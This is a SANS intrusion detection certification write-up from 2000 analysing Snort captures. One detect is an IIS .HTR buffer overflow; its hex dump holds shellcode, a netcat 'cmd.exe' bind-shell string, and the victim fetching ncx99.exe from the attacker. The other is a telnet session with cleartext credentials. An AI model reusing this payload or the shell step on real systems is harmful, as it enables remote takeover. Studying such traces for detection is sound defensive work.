Global Information Assurance Certification Paper

Joseph B. Church – SANS Intrusion Detection & Analysis Certification
July 5 –10th, 2000

Assignment #1 – Five Network Scans

Detect #1 (Top Ten Attack – IIS)

```
-*> **SNORT** <*-
Version 1.6-WIN32
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
WIN32 Port By Michael Davis (Mike@eEye.com, www.datasurge.net/~mike)
07/31-11:12:31.890133 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:42  DF
**S***** Seq: 0x7D3648F9   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 115773 0 NOP WS: 0

07/31-11:12:31.890510 Websrv.mynetwork:80 -> Source.address:1024
TCP TTL:128 TOS:0x0 ID:49940  DF
**S***A* Seq: 0x105E8   Ack: 0x7D3648FA   Win: 0x2238
TCP Options => MSS: 1460
B4 B4                                            ..

07/31-11:12:31.890846 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:43  DF
******A* Seq: 0x7D3648FA   Ack: 0x105E9   Win: 0x3EBC
02 04 05 B4 04 02                                ......

07/31-11:12:31.894052 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:44  DF
*****PA* Seq: 0x7D3648FA   Ack: 0x105E9   Win: 0x3EBC
47 45 54 20 2F 41 41 41 41 41 41 41 41 41 41 41  GET /AAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
41 41 B0 87 67 68 B0 87 67 68 90 90 90 90 58 58  AA..gh..gh....XX
90 33 C0 50 5B 53 59 8B DE 66 B8 21 02 03 D8 32  .3.P[SY..f.!...2
91 86 8F 21 78 8A 8F 66 99 86 84 21 68 8D 90 83  ...!x..f...!h...
82 8D 62 8D 8D 90 84 21 78 74 70 64 6C 54 53 21  ..b....!xtpdlTS!
93 86 84 97 21 94 86 8F 85 21 94 90 84 8C 86 95  ....!....!......
21 84 90 8F 8F 86 84 95 21 88 86 95 89 90 94 95  !.......!.......
83 9A 8F 82 8E 86 21 90 98 8F 4F 86 99 86 21 52  ......!...O...!R
```

```
51 4F 52 4F 55 52 4F 57 56 42 68 66 75 41 50 8F  QOROUROWVBhfuAP.
84 99 5A 5A 4F 86 99 86 21 21 21 21 21 21 21 21  ..ZZO...!!!!!!!!
21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21  !!!!!!!!!!!!!!!!
21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21  !!!!!!!!!!!!!!!!
21 21 21 21 21 21 21 21 21 21 21 21 21 21 21 21  !!!!!!!!!!!!!!!!
21 21 21 21 2E 68 74 72 20 48 54 54 50 2F 31 2E  !!!!.htr HTTP/1.
30 0D 0A 0D 0A                                   0....
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6F  ...............o
77 6E 20 2D
4D 61 70 53 74 72 69 6E 67 57 00 00 00 00 00 00  MapStringW......
00 00 00 6C 20 2D 70 20 39 39 20 2D 74 20 2D  wn -l -p 99 -t -
65 20 63 6D 64 2E 65 78 65 00 13 00 58 00 02 00  e cmd.exe...X...
00 01 08 00 88 38 13 00 A8 3B 13 00 00 00 26 00  .....8...;....&.
```

1. Source of trace

a. My network

2. Detect was generated by:

07/31-11:12:31.890133[**Date & Time**] Source.address:1024[**Source Address**][**Port Number**] -> Websrv.mynetwork:80[**Dest. Address**][**Port Number**]TCP [**Protocol**] TTL:64 [**Time to Live**] TOS:0x0 [**Type of Service**]ID:42[**ID**] DF[**Don't Fragment Flag**]
S*** Seq: 0x7D3648F9[**Sequence Number**] Ack: 0x0[**Acknowledge Number**] Win: 0x3EBC[**Window Size**] TCP Options => MSS: 1460[**Maximum Segment Size**] SackOK TS: 115773 0 NOP WS: 0

a. Snort IDS
b. IIS Alert

3. Probability source address was spoofed.

a. None, source.address initiates a three-way-handshake by sending a SYN packet, Websrv.mynetwork responds with SYN ACK, stating that it is listening on port 80 (www). The source.address responds by sending back an ACK stating that it acknowledges that the Websrv.mynetwork is listening on port 80 (www). Therefor since the communication is going in both directions, the source address is not spoofed.

```
07/31-11:12:31.890133 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:42  DF
**S***** Seq: 0x7D3648F9   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 115773 0 NOP WS: 0

07/31-11:12:31.890510 Websrv.mynetwork:80 -> Source.address:1024
TCP TTL:128 TOS:0x0 ID:49940  DF
**S***A* Seq: 0x105E8   Ack: 0x7D3648FA   Win: 0x2238
TCP Options => MSS: 1460
B4 B4                                            ..
```

```
07/31-11:12:31.890846 Source.address:1024 -> Websrv.mynetwork:80
TCP TTL:64 TOS:0x0 ID:43  DF
******A* Seq: 0x7D3648FA   Ack: 0x105E9   Win: 0x3EBC
02 04 05 B4 04 02
```

4. Description of attack.

a. A buffer overflow vulnerability in the way IIS handles requests within .HTM extensions allows remote attackers to execute arbitrary code on the target machine.
b. IIS supports a number of file extensions that require further processing (i.e. .ASP, .IDC, .HTR). When a request is made for one of this file types a specific DLL processes it. A stack buffer overflow vulnerability exists in ISM.DLL while handling .HTR, .STM or .IDC extensions. The ISM.DLL filter is installed by default with IIS.

Example:

```
21 21 21 21 2E 68 74 72 20 48 54 54 50 2F 31 2E  !!!!.htr HTTP/1.
30 0D 0A 0D 0A                                   0....
```

c. the Websrv will then initiate a communication to the source.address and request to GET nc.exe (NetCat, which allows commands to be executed on remote machines)

```
07/31-11:12:36.639130 10.1.41.40:1151 -> 10.1.41.65:80
TCP TTL:128 TOS:0x10 ID:51732  DF
*****PA* Seq: 0x105F8   Ack: 0x7D81ACD8   Win: 0x2238
47 45 54 20 2F 6E 63 78 39 39 2E 65 78 65 0D 0A  GET /ncx99.exe..
0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

5. Attack Mechanism.

a. The attacker will initiate a communication with the Websrv.mynetwork using a exploit known as tesoiis.c. When this request is made for the .htr file type a specific DLL processes it. A stack buffer overflow vulnerability exists in ISM.DLL while handling .HTR extensions. The ISM.DLL filter is installed by default with IIS. The bufferoverflow then instructs the Websrv.mynetwork to contact the source.address to download and start the ncx99.exe (Custom built NetCat executable file). See below:

```
07/31-11:12:36.639130 Websrv.mynetwork:1151 -> source.address:80
TCP TTL:128 TOS:0x10 ID:51732  DF
*****PA* Seq: 0x105F8   Ack: 0x7D81ACD8   Win: 0x2238
47 45 54 20 2F 6E 63 78 39 39 2E 65 78 65 0D 0A  GET /ncx99.exe..
```

```
0D 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
```

b. Once the Websrv.mynetwork has started the ncx99.exe, the netcat will now listen for communications on port 99.

c. The attacker can then telnet to port 99 and execute commands as the with the privileges of the user the Websrv.mynetwork runs as.

```
07/31-11:12:38.404147 source.address:1025 -> Websrv.mynetwork:99
TCP TTL:64 TOS:0x10 ID:91  DF
**S***** Seq: 0x7DCE9B28   Ack: 0x0   Win: 0x3EBC
TCP Options => MSS: 1460 SackOK TS: 116425 0 NOP WS: 0
```

6. Correlation:

a. This attack was described on day four of the SANS DC conference by Stephen Northcut (Network Intrusion Analysis).
b. TCPDUMP listed above also shows more correlation of the IIS attack.

7. Evidence of active targeting.

a. This attack was generated at a specific host.

8. Severity

a. (Critical + Lethal) – (System + Network Countermeasures) = Severity
b. (5+ 4) – (2+2) = 5

9. Defensive Countermeasures

a. Install Service Pack 6 on Windows NT
b. Disable the script mapping for .HTR files as a workaround

10. Multiple choice question:

What is a signature of the IIS attack?

A. Overlapping packets
B. .htr HTTP/1.0 in packets
C. DNS queries
D. Zone Transfers

Answer B

Detect #2 (Top Ten – Guessed passwords) – (Back)

```
-*> Snort! <*-
Version 1.6
By Martin Roesch (roesch@clark.net, www.clark.net/~roesch)
08/02-16:15:06.346013 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13675  DF
******A* Seq: 0x854B9CB9   Ack: 0x20AFA684   Win: 0x7D78
TCP Options => NOP NOP TS: 17549998 141596631

08/02-16:15:06.346260 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2397  DF
*****PA* Seq: 0x20AFA684   Ack: 0x854B9CB9   Win: 0x7D78
TCP Options => NOP NOP TS: 141596632 17549998
6C 6F 67 69 6E 3A 20                              login:

08/02-16:15:06.365980 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13676  DF
******A* Seq: 0x854B9CB9   Ack: 0x20AFA68B   Win: 0x7D78
TCP Options => NOP NOP TS: 17550000 141596632

08/02-16:15:09.888369 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13677  DF
*****PA* Seq: 0x854B9CB9   Ack: 0x20AFA68B   Win: 0x7D78
TCP Options => NOP NOP TS: 17550352 141596632
6A                                                j

08/02-16:15:09.890769 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2398  DF
*****PA* Seq: 0x20AFA68B   Ack: 0x854B9CBA   Win: 0x7D78
TCP Options => NOP NOP TS: 141596987 17550352
6A                                                j

08/02-16:15:09.906031 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13678  DF
******A* Seq: 0x854B9CBA   Ack: 0x20AFA68C   Win: 0x7D78
TCP Options => NOP NOP TS: 17550354 141596987

08/02-16:15:09.976003 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13679  DF
*****PA* Seq: 0x854B9CBA   Ack: 0x20AFA68C   Win: 0x7D78
TCP Options => NOP NOP TS: 17550360 141596987
6F                                                o

08/02-16:15:09.978174 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2399  DF
*****PA* Seq: 0x20AFA68C   Ack: 0x854B9CBB   Win: 0x7D78
TCP Options => NOP NOP TS: 141596996 17550360
6F                                                o

08/02-16:15:09.996058 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13680  DF
******A* Seq: 0x854B9CBB   Ack: 0x20AFA68D   Win: 0x7D78
TCP Options => NOP NOP TS: 17550363 141596996
```

```
08/02-16:15:10.128016 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13681  DF
*****PA* Seq: 0x854B9CBB   Ack: 0x20AFA68D   Win: 0x7D78
TCP Options => NOP NOP TS: 17550376 141596996
65                                                  e

08/02-16:15:10.129565 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2400  DF
*****PA* Seq: 0x20AFA68D   Ack: 0x854B9CBC   Win: 0x7D78
TCP Options => NOP NOP TS: 141597011 17550376
65                                                  e

08/02-16:15:10.146059 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13682  DF
******A* Seq: 0x854B9CBC   Ack: 0x20AFA68E   Win: 0x7D78
TCP Options => NOP NOP TS: 17550378 141597011

08/02-16:15:10.264134 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13683  DF
*****PA* Seq: 0x854B9CBC   Ack: 0x20AFA68E   Win: 0x7D78
TCP Options => NOP NOP TS: 17550389 141597011
0D 00                                               ..

08/02-16:15:10.265711 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2401  DF
*****PA* Seq: 0x20AFA68E   Ack: 0x854B9CBE   Win: 0x7D78
TCP Options => NOP NOP TS: 141597024 17550389
0D 0A                                               ..

08/02-16:15:10.286051 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13684  DF
******A* Seq: 0x854B9CBE   Ack: 0x20AFA690   Win: 0x7D78
TCP Options => NOP NOP TS: 17550392 141597024

08/02-16:15:10.320468 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2402  DF
*****PA* Seq: 0x20AFA690   Ack: 0x854B9CBE   Win: 0x7D78
TCP Options => NOP NOP TS: 141597030 17550392
50 61 73 73 77 6F 72 64 3A 20                       Password:

08/02-16:15:10.336062 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13685  DF
******A* Seq: 0x854B9CBE   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550397 141597030

08/02-16:15:10.937202 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13686  DF
*****PA* Seq: 0x854B9CBE   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550457 141597030
70                                                  p

08/02-16:15:10.956604 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2403  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CBF   Win: 0x7D78
TCP Options => NOP NOP TS: 141597094 17550457

08/02-16:15:11.064847 Source.address:1253 -> Linux.mynetwork:23
```

```
TCP TTL:64 TOS:0x0 ID:13687  DF
*****PA* Seq: 0x854B9CBF   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550469 141597094
61                                                  a

08/02-16:15:11.076585 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2404  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC0   Win: 0x7D78
TCP Options => NOP NOP TS: 141597106 17550469

08/02-16:15:11.273044 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13688  DF
*****PA* Seq: 0x854B9CC0   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550490 141597106
73                                                  s

08/02-16:15:11.286586 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2405  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC1   Win: 0x7D78
TCP Options => NOP NOP TS: 141597127 17550490

08/02-16:15:11.393177 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13689  DF
*****PA* Seq: 0x854B9CC1   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550502 141597127
73                                                  s

08/02-16:15:11.406594 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2406  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC2   Win: 0x7D78
TCP Options => NOP NOP TS: 141597139 17550502

08/02-16:15:11.569347 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13690  DF
*****PA* Seq: 0x854B9CC2   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550520 141597139
77                                                  w

08/02-16:15:11.586590 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2407  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC3   Win: 0x7D78
TCP Options => NOP NOP TS: 141597157 17550520

08/02-16:15:11.721559 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13691  DF
*****PA* Seq: 0x854B9CC3   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550535 141597157
6F                                                  o

08/02-16:15:11.736585 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2408  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC4   Win: 0x7D78
TCP Options => NOP NOP TS: 141597172 17550535

08/02-16:15:11.825616 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13692  DF
*****PA* Seq: 0x854B9CC4   Ack: 0x20AFA69A   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 17550545 141597172
72                                                  r

08/02-16:15:11.836600 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2409  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC5   Win: 0x7D78
TCP Options => NOP NOP TS: 141597182 17550545

08/02-16:15:11.961762 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13693  DF
*****PA* Seq: 0x854B9CC5   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550559 141597182
64                                                  d

08/02-16:15:11.976585 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2410  DF
******A* Seq: 0x20AFA69A   Ack: 0x854B9CC6   Win: 0x7D78
TCP Options => NOP NOP TS: 141597196 17550559

08/02-16:15:12.058000 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13694  DF
*****PA* Seq: 0x854B9CC6   Ack: 0x20AFA69A   Win: 0x7D78
TCP Options => NOP NOP TS: 17550569 141597196
0D 00                                               ..

08/02-16:15:12.059899 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2411  DF
*****PA* Seq: 0x20AFA69A   Ack: 0x854B9CC8   Win: 0x7D78
TCP Options => NOP NOP TS: 141597204 17550569
0D 0A                                               ..

08/02-16:15:12.076078 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13695  DF
******A* Seq: 0x854B9CC8   Ack: 0x20AFA69C   Win: 0x7D78
TCP Options => NOP NOP TS: 17550571 141597204

08/02-16:15:13.046420 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2412  DF
*****PA* Seq: 0x20AFA69C   Ack: 0x854B9CC8   Win: 0x7D78
TCP Options => NOP NOP TS: 141597302 17550571
1B 5D 30 3B 6A 6F 65 40 65 6C 6D 65 72 3A 20 2F  .]0;joe@elmer: /
68 6F 6D 65 2F 6A 6F 65 07                       home/joe.

08/02-16:15:13.066170 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13696  DF
******A* Seq: 0x854B9CC8   Ack: 0x20AFA6B5   Win: 0x7D78
TCP Options => NOP NOP TS: 17550670 141597302

08/02-16:15:13.119458 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2413  DF
*****PA* Seq: 0x20AFA6B5   Ack: 0x854B9CC8   Win: 0x7D78
TCP Options => NOP NOP TS: 141597310 17550670
5B 6A 6F 65 40 65 6C 6D 65 72 20 6A 6F 65 5D 24  [joe@elmer joe]$
20

08/02-16:15:13.136101 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13697  DF
```

```
******A* Seq: 0x854B9CC8   Ack: 0x20AFA6C6   Win: 0x7D78
TCP Options => NOP NOP TS: 17550677 141597310

08/02-16:15:15.550073 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13698  DF
*****PA* Seq: 0x854B9CC8   Ack: 0x20AFA6C6   Win: 0x7D78
TCP Options => NOP NOP TS: 17550918 141597310
73                                                  s

08/02-16:15:15.552357 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2414  DF
*****PA* Seq: 0x20AFA6C6   Ack: 0x854B9CC9   Win: 0x7D78
TCP Options => NOP NOP TS: 141597553 17550918
73                                                  s

08/02-16:15:15.566126 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13699  DF
******A* Seq: 0x854B9CC9   Ack: 0x20AFA6C7   Win: 0x7D78
TCP Options => NOP NOP TS: 17550920 141597553

08/02-16:15:15.806053 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13700  DF
*****PA* Seq: 0x854B9CC9   Ack: 0x20AFA6C7   Win: 0x7D78
TCP Options => NOP NOP TS: 17550943 141597553
75                                                  u

08/02-16:15:15.808517 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2415  DF
*****PA* Seq: 0x20AFA6C7   Ack: 0x854B9CCA   Win: 0x7D78
TCP Options => NOP NOP TS: 141597579 17550943
75                                                  u

08/02-16:15:15.826131 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13701  DF
******A* Seq: 0x854B9CCA   Ack: 0x20AFA6C8   Win: 0x7D78
TCP Options => NOP NOP TS: 17550946 141597579

08/02-16:15:15.942173 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13702  DF
*****PA* Seq: 0x854B9CCA   Ack: 0x20AFA6C8   Win: 0x7D78
TCP Options => NOP NOP TS: 17550957 141597579
20

08/02-16:15:15.944034 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2416  DF
*****PA* Seq: 0x20AFA6C8   Ack: 0x854B9CCB   Win: 0x7D78
TCP Options => NOP NOP TS: 141597592 17550957
20

08/02-16:15:15.956132 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13703  DF
******A* Seq: 0x854B9CCB   Ack: 0x20AFA6C9   Win: 0x7D78
TCP Options => NOP NOP TS: 17550959 141597592

08/02-16:15:16.559017 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13704  DF
*****PA* Seq: 0x854B9CCB   Ack: 0x20AFA6C9   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 17551019 141597592
72                                                  r

08/02-16:15:16.561154 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2417  DF
*****PA* Seq: 0x20AFA6C9   Ack: 0x854B9CCC   Win: 0x7D78
TCP Options => NOP NOP TS: 141597654 17551019
72                                                  r

08/02-16:15:16.576145 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13705  DF
******A* Seq: 0x854B9CCC   Ack: 0x20AFA6CA   Win: 0x7D78
TCP Options => NOP NOP TS: 17551021 141597654

08/02-16:15:16.815113 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13706  DF
*****PA* Seq: 0x854B9CCC   Ack: 0x20AFA6CA   Win: 0x7D78
TCP Options => NOP NOP TS: 17551044 141597654
6F                                                  o

08/02-16:15:16.817072 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2418  DF
*****PA* Seq: 0x20AFA6CA   Ack: 0x854B9CCD   Win: 0x7D78
TCP Options => NOP NOP TS: 141597680 17551044
6F                                                  o

08/02-16:15:16.836146 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13707  DF
******A* Seq: 0x854B9CCD   Ack: 0x20AFA6CB   Win: 0x7D78
TCP Options => NOP NOP TS: 17551047 141597680

08/02-16:15:16.943298 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13708  DF
*****PA* Seq: 0x854B9CCD   Ack: 0x20AFA6CB   Win: 0x7D78
TCP Options => NOP NOP TS: 17551057 141597680
6F                                                  o

08/02-16:15:16.945149 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2419  DF
*****PA* Seq: 0x20AFA6CB   Ack: 0x854B9CCE   Win: 0x7D78
TCP Options => NOP NOP TS: 141597692 17551057
6F                                                  o

08/02-16:15:16.956171 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13709  DF
******A* Seq: 0x854B9CCE   Ack: 0x20AFA6CC   Win: 0x7D78
TCP Options => NOP NOP TS: 17551059 141597692

08/02-16:15:17.047561 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13710  DF
*****PA* Seq: 0x854B9CCE   Ack: 0x20AFA6CC   Win: 0x7D78
TCP Options => NOP NOP TS: 17551068 141597692
74                                                  t

08/02-16:15:17.049416 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2420  DF
*****PA* Seq: 0x20AFA6CC   Ack: 0x854B9CCF   Win: 0x7D78
```

```
TCP Options => NOP NOP TS: 141597703 17551068
74                                                  t

08/02-16:15:17.066148 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13711  DF
******A* Seq: 0x854B9CCF   Ack: 0x20AFA6CD   Win: 0x7D78
TCP Options => NOP NOP TS: 17551070 141597703

08/02-16:15:17.511937 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13712  DF
*****PA* Seq: 0x854B9CCF   Ack: 0x20AFA6CD   Win: 0x7D78
TCP Options => NOP NOP TS: 17551114 141597703
0D 00                                               ..

08/02-16:15:17.514438 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2421  DF
*****PA* Seq: 0x20AFA6CD   Ack: 0x854B9CD1   Win: 0x7D78
TCP Options => NOP NOP TS: 141597749 17551114
0D 0A                                               ..

08/02-16:15:17.526196 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13713  DF
******A* Seq: 0x854B9CD1   Ack: 0x20AFA6CF   Win: 0x7D78
TCP Options => NOP NOP TS: 17551116 141597749

08/02-16:15:17.607964 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2422  DF
*****PA* Seq: 0x20AFA6CF   Ack: 0x854B9CD1   Win: 0x7D78
TCP Options => NOP NOP TS: 141597759 17551116
50 61 73 73 77 6F 72 64 3A 20                   Password:

08/02-16:15:17.626179 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13714  DF
******A* Seq: 0x854B9CD1   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551126 141597759

08/02-16:15:20.475385 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13715  DF
*****PA* Seq: 0x854B9CD1   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551410 141597759
61                                                  a

08/02-16:15:20.486626 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2423  DF
******A* Seq: 0x20AFA6D9   Ack: 0x854B9CD2   Win: 0x7D78
TCP Options => NOP NOP TS: 141598047 17551410

08/02-16:15:21.043770 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13716  DF
*****PA* Seq: 0x854B9CD2   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551467 141598047
62                                                  b

08/02-16:15:21.056588 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2424  DF
******A* Seq: 0x20AFA6D9   Ack: 0x854B9CD3   Win: 0x7D78
TCP Options => NOP NOP TS: 141598104 17551467
```

```
08/02-16:15:21.276032 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13717  DF
*****PA* Seq: 0x854B9CD3   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551490 141598104
63                                                  c

08/02-16:15:21.286608 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2425  DF
******A* Seq: 0x20AFA6D9   Ack: 0x854B9CD4   Win: 0x7D78
TCP Options => NOP NOP TS: 141598127 17551490

08/02-16:15:21.508238 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13718  DF
*****PA* Seq: 0x854B9CD4   Ack: 0x20AFA6D9   Win: 0x7D78
TCP Options => NOP NOP TS: 17551514 141598127
0D 00                                               ..

08/02-16:15:21.510313 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2426  DF
*****PA* Seq: 0x20AFA6D9   Ack: 0x854B9CD6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598149 17551514
0D 0A                                               ..

08/02-16:15:21.526236 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13719  DF
******A* Seq: 0x854B9CD6   Ack: 0x20AFA6DB   Win: 0x7D78
TCP Options => NOP NOP TS: 17551516 141598149

08/02-16:15:22.598736 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2427  DF
*****PA* Seq: 0x20AFA6DB   Ack: 0x854B9CD6   Win: 0x7D78
TCP Options => NOP NOP TS: 141598258 17551516
73 75 3A 20                                         su:

08/02-16:15:22.616274 Source.address:1253 -> Linux.mynetwork:23
TCP TTL:64 TOS:0x0 ID:13720  DF
******A* Seq: 0x854B9CD6   Ack: 0x20AFA6DF   Win: 0x7D78
TCP Options => NOP NOP TS: 17551625 141598258

08/02-16:15:22.616582 Linux.mynetwork:23 -> Source.address:1253
TCP TTL:64 TOS:0x0 ID:2428  DF
